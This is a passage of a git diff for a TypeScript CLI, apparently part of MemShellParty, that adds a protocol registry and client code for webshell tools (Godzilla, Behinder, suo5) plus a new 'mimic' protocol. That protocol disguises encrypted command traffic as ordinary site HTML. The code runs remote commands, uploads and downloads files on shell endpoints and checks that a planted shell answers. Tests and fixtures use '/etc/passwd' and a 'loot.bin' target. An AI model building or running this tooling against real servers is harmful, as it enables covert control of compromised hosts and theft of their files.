`multipart/form-data; boundary=${boundary}`; + } else { + // shared with the custom build's body-read allowlist derivation + const inferred = inferBodyTemplateContentType(shape.bodyTemplate); + if (inferred) baseHeaders["Content-Type"] = inferred; + else delete baseHeaders["Content-Type"]; + } + } else if (bodyStyle === "json") baseHeaders["Content-Type"] = "application/json"; + const headers = buildHeaders( + { ...baseHeaders, ...extraHeaders, ...(shape?.headers ?? {}) }, + req.common, + ); + let res; + try { + res = await postRaw(requestUrl, body, { + headers, + timeoutMs: req.common.timeoutMs, + insecure: req.common.insecure, + }); + } catch (err) { + return { + ok: false, + error: err instanceof Error ? err.message : String(err), + requestUrl, + status: 0, + durationMs: 0, + }; + } + if (res.status !== 200) { + return { + ok: false, + error: `HTTP ${res.status} — the endpoint did not answer like a mimic shell`, + requestUrl, + status: res.status, + durationMs: res.durationMs, + }; + } + const text = res.body.toString("utf8"); + // try each cover template's delimiters — the server rotates templates, and + // {{payload}} templates have their own exact bounds (any content type) + const delimiters = templateDelimiters( + ctx.profile ? profileTemplates(ctx.profile) : [], + ctx.markers, + ); + let b64: string | null = null; + for (const d of delimiters) { + b64 = extractBetween(text, d.left, d.right); + if (b64 !== null) break; + } + if (b64 === null) { + return { + ok: false, + error: "response marker not found — wrong pass/key, or the page is not a mimic shell", + requestUrl, + status: res.status, + durationMs: res.durationMs, + }; + } + try { + const output = decryptField(b64, ctx.aesKey, ctx.cipher).toString("utf8"); + return { ok: true, output, requestUrl, status: res.status, durationMs: res.durationMs }; + } catch { + return { + ok: false, + error: "response decryption failed — wrong key?", + requestUrl, + status: res.status, + durationMs: res.durationMs, + }; + } +} + +export const mimicProtocol: ShellProtocol = { + name: "mimic", + description: "site-mimicking demo protocol (profile-driven HTML skin + dynamic paths)", + + async test(req: ProtocolRequest): Promise { + const started = Date.now(); + const tool = "mimic"; + const url = req.conn.url; + let ctx: MimicContext; + try { + ctx = buildContext(req); + } catch (err) { + return { + ok: false, + tool, + url, + error: err instanceof Error ? err.message : String(err), + durationMs: Date.now() - started, + }; + } + const canary = randomString(12); + const r = await roundTrip(req, ctx, `echo ${canary}`); + if (!r.ok) { + return { ok: false, tool, url, error: r.error, durationMs: Date.now() - started }; + } + if (!r.output!.includes(canary)) { + return { + ok: false, + tool, + url, + error: "round-trip mismatch — endpoint decrypted but did not execute the canary", + durationMs: Date.now() - started, + }; + } + const profileNote = ctx.profile ? `profile=${ctx.profile.name}` : "no profile"; + const pathNote = r.requestUrl === url ? "fixed path" : `dynamic path ${r.requestUrl}`; + return { + ok: true, + tool, + url, + detail: `round-trip ok (${profileNote}; ${pathNote})`, + durationMs: Date.now() - started, + }; + }, + + async exec(req: ProtocolRequest, command: string): Promise { + const started = Date.now(); + const tool = "mimic"; + const url = req.conn.url; + let ctx: MimicContext; + try { + ctx = buildContext(req); + } catch (err) { + return { + ok: false, + tool, + url, + command, + error: err instanceof Error ? err.message : String(err), + durationMs: Date.now() - started, + }; + } + const r = await roundTrip(req, ctx, command); + if (!r.ok) { + return { ok: false, tool, url, command, error: r.error, durationMs: Date.now() - started }; + } + return { ok: true, tool, url, command, output: r.output, durationMs: Date.now() - started }; + }, +}; diff --git a/tools/cli/src/connect/registry.test.ts b/tools/cli/src/connect/registry.test.ts new file mode 100644 index 00000000..05b9947c --- /dev/null +++ b/tools/cli/src/connect/registry.test.ts @@ -0,0 +1,38 @@ +import { describe, expect, it } from "vitest"; + +import { + getProtocol, + protocolNames, + requireProtocol, + unsupportedMessage, +} from "./registry.js"; + +describe("protocol registry", () => { + it("registers the three built-in tools plus mimic", () => { + expect(protocolNames()).toEqual(["godzilla", "behinder", "suo5", "mimic"]); + }); + + it("filters protocol names by capability", () => { + // suo5 is connect-only, mimic is exec-only in this pass + expect(protocolNames("exec")).toEqual(["godzilla", "behinder", "mimic"]); + expect(protocolNames("upload")).toEqual(["godzilla", "behinder"]); + expect(protocolNames("download")).toEqual(["godzilla", "behinder"]); + }); + + it("exposes capabilities as optional methods", () => { + expect(getProtocol("suo5")!.exec).toBeUndefined(); + expect(getProtocol("mimic")!.exec).toBeTypeOf("function"); + expect(getProtocol("mimic")!.upload).toBeUndefined(); + expect(getProtocol("godzilla")!.upload).toBeTypeOf("function"); + }); + + it("requireProtocol names the available protocols on a typo", () => { + expect(() => requireProtocol("godzila")).toThrow(/available: godzilla, behinder, suo5, mimic/); + }); + + it("unsupportedMessage names the protocol and the capability", () => { + expect(unsupportedMessage(getProtocol("suo5")!, "exec")).toBe( + "protocol 'suo5' does not support exec", + ); + }); +}); diff --git a/tools/cli/src/connect/registry.ts b/tools/cli/src/connect/registry.ts new file mode 100644 index 00000000..d06768bc --- /dev/null +++ b/tools/cli/src/connect/registry.ts @@ -0,0 +1,147 @@ +/** + * Protocol registry — the single place that knows which shell protocols + * exist and what each one can do. + * + * Commands (connect/exec/upload/download) no longer switch on a hardcoded + * tool name: they look the protocol up here and call through the + * `ShellProtocol` interface. The three built-in tools are registered as + * thin adapters — their modules (`godzilla.ts` etc.) are untouched — and + * plugins like `mimic` register the same way. + */ +import type { ResolvedConnection } from "../core/targets.js"; +import { + downloadBehinder, + execBehinder, + testBehinder, + uploadBehinder, +} from "./behinder.js"; +import { + downloadGodzilla, + execGodzilla, + testGodzilla, + uploadGodzilla, +} from "./godzilla.js"; +import { testSuo5, type Suo5Mode } from "./suo5.js"; +import { mimicProtocol } from "./mimic.js"; +import type { + CommonConnectOptions, + ConnectTestResult, + DownloadResult, + ExecResult, + TransferResult, +} from "./types.js"; + +/** Per-protocol extras collected from CLI flags / saved targets. */ +export interface ProtocolOptions { + /** godzilla: remote OS family for the shell wrapper. */ + os?: "auto" | "windows" | "linux"; + /** suo5: protocol variant. */ + suo5Mode?: Suo5Mode; + /** godzilla: charset for non-ASCII remote paths. */ + remoteCharset?: string; + /** mimic: site profile name (see 'memparty profile'). */ + profile?: string; + /** mimic: randomize the request path from the site profile. */ + dynamicPath?: boolean; +} + +/** Everything a protocol handler needs for one operation. */ +export interface ProtocolRequest { + conn: ResolvedConnection; + common: CommonConnectOptions; + options: ProtocolOptions; +} + +export type Capability = "exec" | "upload" | "download"; + +export interface ShellProtocol { + readonly name: string; + /** One-line summary shown in help/listing. */ + readonly description?: string; + /** Handshake / credentials check. */ + test(req: ProtocolRequest): Promise; + exec?(req: ProtocolRequest, command: string): Promise; + upload?(req: ProtocolRequest, remotePath: string, data: Buffer): Promise; + download?(req: ProtocolRequest, remotePath: string): Promise; +} + +const protocols = new Map(); + +export function registerProtocol(protocol: ShellProtocol): void { + protocols.set(protocol.name, protocol); +} + +export function getProtocol(name: string): ShellProtocol | undefined { + return protocols.get(name); +} + +/** Names of registered protocols, optionally filtered by capability. */ +export function protocolNames(capability?: Capability): string[] { + const all = [...protocols.values()]; + const usable = capability ? all.filter((p) => p[capability] !== undefined) : all; + return usable.map((p) => p.name); +} + +/** + * Look up a protocol or throw an error naming the available ones — this is + * the message a user sees for a typo'd `--tool`. + */ +export function requireProtocol(name: string): ShellProtocol { + const protocol = getProtocol(name); + if (!protocol) { + throw new Error(`unknown protocol ${JSON.stringify(name)} (available: ${protocolNames().join(", ")})`); + } + return protocol; +} + +/** Error message when a protocol lacks the requested capability. */ +export function unsupportedMessage(protocol: ShellProtocol, capability: Capability): string { + return `protocol '${protocol.name}' does not support ${capability}`; +} + +// ---- built-in adapters (wrap the existing modules, internals unchanged) ---- + +const godzillaProtocol: ShellProtocol = { + name: "godzilla", + description: "Godzilla JAVA_AES_BASE64 shell", + test: ({ conn, common }) => + testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common), + exec: ({ conn, common, options }, command) => + execGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", command, { + ...common, + os: options.os, + }), + upload: ({ conn, common, options }, remotePath, data) => + uploadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, data, { + ...common, + remoteCharset: options.remoteCharset, + }), + download: ({ conn, common, options }, remotePath) => + downloadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, { + ...common, + remoteCharset: options.remoteCharset, + }), +}; + +const behinderProtocol: ShellProtocol = { + name: "behinder", + description: "Behinder AES shell", + test: ({ conn, common }) => testBehinder(conn.url, conn.pass ?? "rebeyond", common), + exec: ({ conn, common }, command) => + execBehinder(conn.url, conn.pass ?? "rebeyond", command, common), + upload: ({ conn, common }, remotePath, data) => + uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common), + download: ({ conn, common }, remotePath) => + downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common), +}; + +const suo5Protocol: ShellProtocol = { + name: "suo5", + description: "suo5 HTTP tunnel (connect test only)", + test: ({ conn, common, options }) => testSuo5(conn.url, { ...common, mode: options.suo5Mode }), +}; + +registerProtocol(godzillaProtocol); +registerProtocol(behinderProtocol); +registerProtocol(suo5Protocol); +registerProtocol(mimicProtocol); diff --git a/tools/cli/src/connect/suo5.test.ts b/tools/cli/src/connect/suo5.test.ts new file mode 100644 index 00000000..73b84f3e --- /dev/null +++ b/tools/cli/src/connect/suo5.test.ts @@ -0,0 +1,173 @@ +import { createServer, type Server } from "node:http"; +import type { AddressInfo } from "node:net"; + +import { afterAll, beforeAll, describe, expect, it } from "vitest"; + +import { randomString } from "./crypto.js"; +import { + marshalFrameBase64, + marshalSuo5Map, + testSuo5, + unmarshalFrameBase64, + unmarshalSuo5Map, +} from "./suo5.js"; + +describe("suo5 map codec", () => { + it("round-trips multiple entries incl. binary values", () => { + const entries: Array<[string, Buffer]> = [ + ["ac", Buffer.from([0x01])], + ["id", Buffer.from("tun-1234", "utf8")], + ["dt", Buffer.alloc(257, 0xab)], + ["_", Buffer.alloc(0)], + ]; + const decoded = unmarshalSuo5Map(marshalSuo5Map(entries)); + expect(decoded.get("ac")).toEqual(Buffer.from([0x01])); + expect(decoded.get("id")?.toString()).toBe("tun-1234"); + expect(decoded.get("dt")).toEqual(Buffer.alloc(257, 0xab)); + expect(decoded.get("_")).toEqual(Buffer.alloc(0)); + }); +}); + +describe("suo5 frame codec", () => { + it("round-trips a frame", () => { + const data = marshalSuo5Map([["dt", Buffer.from("identifier-xyz")]]); + const frame = marshalFrameBase64(data); + // header is exactly 8 base64url chars, data section contains no padding + expect(frame.toString("latin1")).toMatch(/^[A-Za-z0-9\-_]+$/); + const parsed = unmarshalFrameBase64(frame); + expect(parsed.data).toEqual(data); + expect(parsed.next).toBe(frame.length); + }); + + it("parses two concatenated frames", () => { + const d1 = marshalSuo5Map([["dt", Buffer.from("first")]]); + const d2 = marshalSuo5Map([["dt", Buffer.from("second-frame")]]); + const buf = Buffer.concat([marshalFrameBase64(d1), marshalFrameBase64(d2)]); + const f1 = unmarshalFrameBase64(buf, 0); + const f2 = unmarshalFrameBase64(buf, f1.next); + expect(unmarshalSuo5Map(f1.data).get("dt")?.toString()).toBe("first"); + expect(unmarshalSuo5Map(f2.data).get("dt")?.toString()).toBe("second-frame"); + expect(f2.next).toBe(buf.length); + }); + + it("rejects truncated frames", () => { + const frame = marshalFrameBase64(marshalSuo5Map([["dt", Buffer.from("abc")]])); + expect(() => unmarshalFrameBase64(frame.subarray(0, 4))).toThrow("truncated"); + expect(() => unmarshalFrameBase64(frame.subarray(0, frame.length - 2))).toThrow("truncated"); + }); +}); + +// ---------- integration: testSuo5 against faithful Node mock servers ---------- + +const V2_GATE = "v2gatevalue"; +const V1_GATE = "v1gatevalue"; + +function newDataFrame(id: Buffer | undefined, dt: Buffer): Buffer { + return marshalFrameBase64( + marshalSuo5Map([ + ["ac", Buffer.from([0x01])], + ["dt", dt], + ["id", id ?? Buffer.from("")], + ]), + ); +} + +function startMock(): Promise { + const server = createServer((req, res) => { + const chunks: Buffer[] = []; + req.on("data", (c: Buffer) => chunks.push(c)); + req.on("end", () => { + const body = Buffer.concat(chunks); + const ua = req.headers["user-agent"] ?? ""; + + if (req.url === "/suo5v2") { + // port of the zema1/suo5.jsp handshake (classic branch), gate included + if (!ua.includes(V2_GATE)) { + res.writeHead(200).end(); + return; + } + try { + const frame = unmarshalFrameBase64(body, 0); + const map = unmarshalSuo5Map(frame.data); + if (map.get("m")?.[0] !== 0x00) throw new Error("not a checking request"); + const sid = randomString(16); + const out = Buffer.concat([ + newDataFrame(map.get("id"), map.get("dt")!), + newDataFrame(map.get("id"), Buffer.from(sid)), + ]); + res.writeHead(200, { "Content-Type": "text/html" }).end(out); + } catch { + res.writeHead(200).end(); + } + return; + } + + if (req.url === "/suo5v1") { + if (req.headers["content-type"] === "application/plain" && ua.includes(V1_GATE)) { + res.writeHead(200).end(body.subarray(0, 32)); + } else { + res.writeHead(200).end(); + } + return; + } + + if (req.url === "/404") { + res.writeHead(404, { "Content-Type": "text/html" }).end("not found"); + return; + } + + res.writeHead(200).end(); + }); + }); + return new Promise((resolve) => { + server.listen(0, "127.0.0.1", () => resolve(server)); + }); +} + +describe("testSuo5", () => { + let server: Server; + let base: string; + + beforeAll(async () => { + server = await startMock(); + base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`; + }); + + afterAll(() => new Promise((resolve) => server.close(resolve))); + + it("completes the v2 handshake and reports the session id", async () => { + const result = await testSuo5(`${base}/suo5v2`, { headerValue: V2_GATE }); + expect(result.ok).toBe(true); + expect(result.detail).toMatch(/suo5 v2 handshake ok \(session [A-Za-z0-9]{16}/); + }); + + it("falls back to the v1 echo in auto mode", async () => { + const result = await testSuo5(`${base}/suo5v1`, { headerValue: V1_GATE }); + expect(result.ok).toBe(true); + expect(result.detail).toMatch(/v1 full-duplex echo ok/); + }); + + it("respects --suo5-mode: v2 does not fall back to v1", async () => { + const result = await testSuo5(`${base}/suo5v1`, { headerValue: V1_GATE, mode: "v2" }); + expect(result.ok).toBe(false); + }); + + it("fails without the gate header", async () => { + const v2 = await testSuo5(`${base}/suo5v2`); + expect(v2.ok).toBe(false); + const v1 = await testSuo5(`${base}/suo5v1`); + expect(v1.ok).toBe(false); + }); + + it("fails cleanly on a 404 page", async () => { + const result = await testSuo5(`${base}/404`); + expect(result.ok).toBe(false); + expect(result.error).toContain("not a suo5 shell"); + }); + + it("reports network errors", async () => { + const result = await testSuo5("http://127.0.0.1:1/none", { timeoutMs: 2000 }); + expect(result.ok).toBe(false); + expect(result.error).toBeTruthy(); + }); +}); diff --git a/tools/cli/src/connect/suo5.ts b/tools/cli/src/connect/suo5.ts new file mode 100644 index 00000000..dea8f08e --- /dev/null +++ b/tools/cli/src/connect/suo5.ts @@ -0,0 +1,223 @@ +/** + * suo5 connection test. + * + * Two wire protocols exist in the wild: + * + * - "v2": the zema1/suo5 protocol (also what MemShellParty's `Suo5v2` shells + * and the real suo5.jsp speak). Connection test = the client's + * `checkConnectMode` in classic mode: POST one base64 frame + * `{ac:0x01, id, dt:identifier, a:0x00, m:0x00(checking)}`; the shell echoes + * `dt` in frame 1 and returns a session id in frame 2. + * + * - "v1": MemShellParty's legacy `Suo5` shell (raw binary single-byte-XOR + * frames). Its full-duplex probe (`Content-Type: application/plain`) echoes + * back 32 bytes verbatim — that round-trip is the liveness check. + */ +import { randomBytes } from "node:crypto"; +import { base64UrlDecode, base64UrlEncode, randomString } from "./crypto.js"; +import { postRaw } from "./http.js"; +import { buildHeaders, type CommonConnectOptions, type ConnectTestResult } from "./types.js"; + +export type Suo5Mode = "auto" | "v2" | "v1"; + +export interface Suo5ConnectOptions extends CommonConnectOptions { + mode?: Suo5Mode; +} + +// ---------- frame codec (zema1/suo5 netrans.DataFrame, base64 variant) ---------- + +/** suo5's `Marshal`: [klen u8][key][vlen u32 BE][value] per entry. */ +export function marshalSuo5Map(entries: Array<[string, Buffer]>): Buffer { + const parts: Buffer[] = []; + for (const [key, value] of entries) { + const keyBytes = Buffer.from(key, "utf8"); + const len = Buffer.alloc(4); + len.writeUInt32BE(value.length, 0); + parts.push(Buffer.from([keyBytes.length]), keyBytes, len, value); + } + return Buffer.concat(parts); +} + +export function unmarshalSuo5Map(data: Buffer): Map { + const map = new Map(); + let off = 0; + while (off < data.length - 1) { + const kLen = data[off]!; + off += 1; + if (off + kLen > data.length) throw new Error("unexpected eof when read key"); + const key = data.toString("utf8", off, off + kLen); + off += kLen; + if (off + 4 > data.length) throw new Error("unexpected eof when read value size"); + const vLen = data.readUInt32BE(off); + off += 4; + if (off + vLen > data.length) throw new Error("unexpected eof when read value"); + map.set(key, data.subarray(off, off + vLen)); + off += vLen; + } + return map; +} + +/** suo5's `DataFrame.MarshalBinaryBase64`. */ +export function marshalFrameBase64(data: Buffer): Buffer { + const obs = randomBytes(2); + const xored = Buffer.from(data); + for (let i = 0; i < xored.length; i++) xored[i] = xored[i]! ^ obs[i % 2]!; + const dataB64 = base64UrlEncode(xored); + + const header = Buffer.alloc(6); + obs.copy(header, 0); + header.writeUInt32BE(Buffer.byteLength(dataB64), 2); + for (let i = 2; i < 6; i++) header[i] = header[i]! ^ obs[i % 2]!; + + return Buffer.concat([Buffer.from(base64UrlEncode(header)), Buffer.from(dataB64)]); +} + +export interface Suo5Frame { + data: Buffer; + /** offset just past this frame */ + next: number; +} + +/** suo5's `ReadFrameBase64` over a flat buffer. Throws on truncation. */ +export function unmarshalFrameBase64(buf: Buffer, offset = 0): Suo5Frame { + if (buf.length - offset < 8) throw new Error("failed to read header base64: truncated"); + const header = base64UrlDecode(buf.toString("latin1", offset, offset + 8)); + if (header.length !== 6) throw new Error("invalid header length"); + const obs = header.subarray(0, 2); + for (let i = 2; i < 6; i++) header[i] = header[i]! ^ obs[(i - 2) % 2]!; + const dataLength = header.readUInt32BE(2); + if (dataLength > 32 * 1024 * 1024) throw new Error(`frame is too big, ${dataLength}`); + const dataStart = offset + 8; + if (buf.length - dataStart < dataLength) throw new Error("failed to read data base64: truncated"); + const data = base64UrlDecode(buf.toString("latin1", dataStart, dataStart + dataLength)); + for (let i = 0; i < data.length; i++) data[i] = data[i]! ^ obs[i % 2]!; + return { data, next: dataStart + dataLength }; +} + +// ---------- v2 handshake ---------- + +async function testSuo5V2( + url: string, + options: CommonConnectOptions, +): Promise<{ ok: boolean; detail?: string; error?: string }> { + const identifier = randomString(48); + const frame = marshalFrameBase64( + marshalSuo5Map([ + ["ac", Buffer.from([0x01])], // ActionData + ["id", randomBytes(8)], + ["dt", Buffer.from(identifier, "utf8")], + ["a", Buffer.from([0x00])], // classic (non-streaming) check + ["m", Buffer.from([0x00])], // ConnectionType.Checking + ["_", randomBytes(Math.floor(Math.random() * 64))], // junk + ]), + ); + + let response; + try { + response = await postRaw(url, frame, { + headers: buildHeaders({ "Content-Type": "application/octet-stream" }, options), + timeoutMs: options.timeoutMs, + insecure: options.insecure, + }); + } catch (err) { + return { ok: false, error: err instanceof Error ? err.message : String(err) }; + } + + try { + const echoFrame = unmarshalFrameBase64(response.body, 0); + const echoMap = unmarshalSuo5Map(echoFrame.data); + const echoed = echoMap.get("dt")?.toString("utf8"); + if (echoed !== identifier) { + return { + ok: false, + error: `HTTP ${response.status}, first frame did not echo the identifier (got ${ + echoed === undefined ? "no dt field" : JSON.stringify(echoed.slice(0, 64)) + })`, + }; + } + const sessionFrame = unmarshalFrameBase64(response.body, echoFrame.next); + const sessionMap = unmarshalSuo5Map(sessionFrame.data); + const sid = sessionMap.get("dt")?.toString("utf8"); + if (!sid) { + return { ok: false, error: "second frame carries no session id" }; + } + return { ok: true, detail: `suo5 v2 handshake ok (session ${sid}, HTTP ${response.status})` }; + } catch (err) { + return { + ok: false, + error: `HTTP ${response.status}, response is not valid suo5 frames (${ + err instanceof Error ? err.message : String(err) + })`, + }; + } +} + +// ---------- v1 plain echo ---------- + +async function testSuo5V1( + url: string, + options: CommonConnectOptions, +): Promise<{ ok: boolean; detail?: string; error?: string }> { + const probe = randomBytes(32); + let response; + try { + response = await postRaw(url, probe, { + headers: buildHeaders({ "Content-Type": "application/plain" }, options), + timeoutMs: options.timeoutMs, + insecure: options.insecure, + }); + } catch (err) { + return { ok: false, error: err instanceof Error ? err.message : String(err) }; + } + if (response.body.equals(probe)) { + return { + ok: true, + detail: `suo5 v1 full-duplex echo ok (32 bytes round-trip, HTTP ${response.status})`, + }; + } + return { + ok: false, + error: `HTTP ${response.status}, expected the 32 probe bytes echoed back, got ${response.body.length} different bytes`, + }; +} + +export async function testSuo5( + url: string, + options: Suo5ConnectOptions = {}, +): Promise { + const started = Date.now(); + const mode = options.mode ?? "auto"; + const failures: string[] = []; + + if (mode === "v2" || mode === "auto") { + const v2 = await testSuo5V2(url, options); + if (v2.ok) { + return { ok: true, tool: "suo5", url, detail: v2.detail, durationMs: Date.now() - started }; + } + failures.push(`v2: ${v2.error}`); + if (mode === "v2") { + return { + ok: false, + tool: "suo5", + url, + error: `${v2.error} — not a suo5(v2) shell?`, + durationMs: Date.now() - started, + }; + } + } + if (mode === "v1" || mode === "auto") { + const v1 = await testSuo5V1(url, options); + if (v1.ok) { + return { ok: true, tool: "suo5", url, detail: v1.detail, durationMs: Date.now() - started }; + } + failures.push(`v1: ${v1.error}`); + } + + return { + ok: false, + tool: "suo5", + url, + error: failures.join("; ") + " — not a suo5 shell (or missing gate header)", + durationMs: Date.now() - started, + }; +} diff --git a/tools/cli/src/connect/types.ts b/tools/cli/src/connect/types.ts new file mode 100644 index 00000000..4784a31a --- /dev/null +++ b/tools/cli/src/connect/types.ts @@ -0,0 +1,79 @@ +/** Shared types for the shell connection testers. */ + +/** + * Shell protocol name. Used to be a hardcoded union of the built-in tools; + * now a free string — `src/connect/registry.ts` is the source of truth for + * which protocols actually exist (built-ins + plugins like "mimic"). + */ +export type ConnectTool = string; + +export interface ConnectTestResult { + ok: boolean; + tool: ConnectTool; + url: string; + /** Human-readable success detail (echo size, session id, protocol variant...). */ + detail?: string; + /** Human-readable failure reason. */ + error?: string; + durationMs: number; +} + +export interface ExecResult { + ok: boolean; + tool: ConnectTool; + url: string; + /** The command line as executed remotely. */ + command: string; + /** Decoded remote stdout+stderr (present on success). */ + output?: string; + /** Human-readable failure reason. */ + error?: string; + durationMs: number; +} + +export interface TransferResult { + ok: boolean; + tool: ConnectTool; + url: string; + direction: "upload" | "download"; + /** The remote file path as requested. */ + remotePath: string; + /** Bytes transferred (present on success). */ + bytes?: number; + /** Extra success note (e.g. "hash verification unavailable"). */ + detail?: string; + /** Human-readable failure reason. */ + error?: string; + durationMs: number; +} + +export interface DownloadResult extends TransferResult { + /** File contents (present on success). */ + data?: Buffer; +} + +export interface CommonConnectOptions { + /** + * MemShellParty shells are gated by a header check: + * the request must carry `headerName` containing `headerValue` + * (both are reported by `memparty gen --json` as shellToolConfig). + */ + headerName?: string; + headerValue?: string; + /** Extra request headers (already merged with the gate header). */ + extraHeaders?: Record; + timeoutMs?: number; + insecure?: boolean; +} + +/** Build the request headers for a tester: extra headers + gate header. */ +export function buildHeaders( + base: Record, + options: CommonConnectOptions, +): Record { + const headers = { ...base, ...options.extraHeaders }; + if (options.headerValue) { + headers[options.headerName || "User-Agent"] = options.headerValue; + } + return headers; +} diff --git a/tools/cli/src/core/config.test.ts b/tools/cli/src/core/config.test.ts new file mode 100644 index 00000000..5370ee95 --- /dev/null +++ b/tools/cli/src/core/config.test.ts @@ -0,0 +1,39 @@ +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +import { describe, expect, it } from "vitest"; + +import { DEFAULT_API_URL, resolveApiUrl } from "./config.js"; + +// A nonexistent dir on an existing drive: the .mempartyrc read fails fast with +// ENOENT (an unmapped drive letter like Z: would instead hang for ~15s on Windows). +const NO_RC_HOME = join(tmpdir(), "memparty-no-rc-home-987654"); + +describe("resolveApiUrl", () => { + it("prefers the --api flag above everything", () => { + const url = resolveApiUrl({ + flag: "http://flag.example", + env: { MEMPARTY_API_URL: "http://env.example" }, + home: NO_RC_HOME, + }); + expect(url).toBe("http://flag.example"); + }); + + it("falls back to the env var when no flag", () => { + const url = resolveApiUrl({ + env: { MEMPARTY_API_URL: "http://env.example" }, + home: NO_RC_HOME, + }); + expect(url).toBe("http://env.example"); + }); + + it("falls back to the default public site", () => { + const url = resolveApiUrl({ env: {}, home: NO_RC_HOME }); + expect(url).toBe(DEFAULT_API_URL); + }); + + it("ignores blank flag/env values", () => { + const url = resolveApiUrl({ flag: " ", env: { MEMPARTY_API_URL: "" }, home: NO_RC_HOME }); + expect(url).toBe(DEFAULT_API_URL); + }); +}); diff --git a/tools/cli/src/core/config.ts b/tools/cli/src/core/config.ts new file mode 100644 index 00000000..fcf1d6f6 --- /dev/null +++ b/tools/cli/src/core/config.ts @@ -0,0 +1,52 @@ +import { readFileSync } from "node:fs"; +import { homedir } from "node:os"; +import { join } from "node:path"; + +export const DEFAULT_API_URL = "https://party.mem.mk"; +export const ENV_VAR = "MEMPARTY_API_URL"; + +export interface ResolveApiUrlInput { + /** Value from the --api flag (highest priority). */ + flag?: string; + /** Environment map (defaults to process.env). */ + env?: NodeJS.ProcessEnv; + /** Home directory (defaults to os.homedir()). Injectable for tests. */ + home?: string; +} + +interface RcFile { + apiUrl?: string; +} + +function readRcFile(home: string): RcFile | undefined { + const path = join(home, ".mempartyrc"); + try { + const raw = readFileSync(path, "utf8"); + return JSON.parse(raw) as RcFile; + } catch { + return undefined; + } +} + +/** + * Resolve the API base URL by priority: + * 1. --api flag + * 2. MEMPARTY_API_URL env var + * 3. ~/.mempartyrc { "apiUrl": "..." } + * 4. default public site (https://party.mem.mk) + */ +export function resolveApiUrl(input: ResolveApiUrlInput = {}): string { + const env = input.env ?? process.env; + const home = input.home ?? homedir(); + + const fromFlag = input.flag?.trim(); + if (fromFlag) return fromFlag; + + const fromEnv = env[ENV_VAR]?.trim(); + if (fromEnv) return fromEnv; + + const fromFile = readRcFile(home)?.apiUrl?.trim(); + if (fromFile) return fromFile; + + return DEFAULT_API_URL; +} diff --git a/tools/cli/src/core/jdk.test.ts b/tools/cli/src/core/jdk.test.ts new file mode 100644 index 00000000..23381b63 --- /dev/null +++ b/tools/cli/src/core/jdk.test.ts @@ -0,0 +1,30 @@ +import { describe, expect, it } from "vitest"; + +import { resolveJreVersion } from "./jdk.js"; + +describe("resolveJreVersion", () => { + it("returns undefined for empty input", () => { + expect(resolveJreVersion(undefined)).toBeUndefined(); + expect(resolveJreVersion("")).toBeUndefined(); + }); + + it("resolves friendly names", () => { + expect(resolveJreVersion("java8")).toBe(52); + expect(resolveJreVersion("JAVA17")).toBe(61); + expect(resolveJreVersion("java21")).toBe(65); + }); + + it("resolves bare java numbers", () => { + expect(resolveJreVersion("8")).toBe(52); + expect(resolveJreVersion("11")).toBe(55); + }); + + it("passes through raw class-file major versions", () => { + expect(resolveJreVersion("52")).toBe(52); + expect(resolveJreVersion(61)).toBe(61); + }); + + it("throws on invalid input", () => { + expect(() => resolveJreVersion("banana")).toThrow(/Invalid JDK version/); + }); +}); diff --git a/tools/cli/src/core/jdk.ts b/tools/cli/src/core/jdk.ts new file mode 100644 index 00000000..989b33af --- /dev/null +++ b/tools/cli/src/core/jdk.ts @@ -0,0 +1,36 @@ +/** Maps friendly JDK names to Java class-file major versions. */ +export const JDK_VERSIONS: Record = { + java6: 50, + java8: 52, + java9: 53, + java11: 55, + java17: 61, + java21: 65, +}; + +/** + * Resolve a user-supplied JDK value into a class-file major version number. + * Accepts friendly names ("java8", "8"), or a raw major version ("52"). + */ +export function resolveJreVersion(input: string | number | undefined): number | undefined { + if (input === undefined || input === "") return undefined; + + if (typeof input === "number") return input; + + const normalized = input.trim().toLowerCase(); + + // Friendly name, e.g. "java8" + if (normalized in JDK_VERSIONS) return JDK_VERSIONS[normalized]; + + // Bare java number, e.g. "8" -> java8 + const withPrefix = `java${normalized}`; + if (withPrefix in JDK_VERSIONS) return JDK_VERSIONS[withPrefix]; + + // Raw class-file major version, e.g. "52" + const num = Number(normalized); + if (Number.isInteger(num) && num > 0) return num; + + throw new Error( + `Invalid JDK version "${input}". Use one of: ${Object.keys(JDK_VERSIONS).join(", ")}, or a class-file major version like 52.`, + ); +} diff --git a/tools/cli/src/core/localfile.test.ts b/tools/cli/src/core/localfile.test.ts new file mode 100644 index 00000000..5c8fb355 --- /dev/null +++ b/tools/cli/src/core/localfile.test.ts @@ -0,0 +1,117 @@ +import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +import { afterEach, beforeEach, describe, expect, it } from "vitest"; + +import { readUploadFile, remoteBasename, resolveDownloadPath } from "./localfile.js"; + +describe("remoteBasename", () => { + it("handles linux paths", () => { + expect(remoteBasename("/etc/passwd")).toBe("passwd"); + expect(remoteBasename("/var/log/app/")).toBe("app"); + }); + + it("handles windows paths", () => { + expect(remoteBasename("C:\\Windows\\win.ini")).toBe("win.ini"); + expect(remoteBasename("C:\\temp\\")).toBe("temp"); + }); + + it("handles bare names and mixed separators", () => { + expect(remoteBasename("shell.jsp")).toBe("shell.jsp"); + expect(remoteBasename("C:/x\\y/z.bin")).toBe("z.bin"); + }); + + it("returns empty for pathological input", () => { + expect(remoteBasename("")).toBe(""); + expect(remoteBasename("///")).toBe(""); + }); +}); + +describe("resolveDownloadPath", () => { + let dir: string; + + beforeEach(() => { + dir = mkdtempSync(join(tmpdir(), "memparty-dl-")); + }); + + afterEach(() => { + rmSync(dir, { recursive: true, force: true }); + }); + + it("defaults to ./", () => { + const out = resolveDownloadPath("/etc/passwd", undefined, false); + expect(out).toBe(join(process.cwd(), "passwd")); + }); + + it("joins an existing directory argument with the basename", () => { + const out = resolveDownloadPath("C:\\Windows\\win.ini", dir, false); + expect(out).toBe(join(dir, "win.ini")); + }); + + it("accepts an explicit file path", () => { + const target = join(dir, "loot.bin"); + expect(resolveDownloadPath("/data/x", target, false)).toBe(target); + }); + + it("refuses to overwrite an existing file without force", () => { 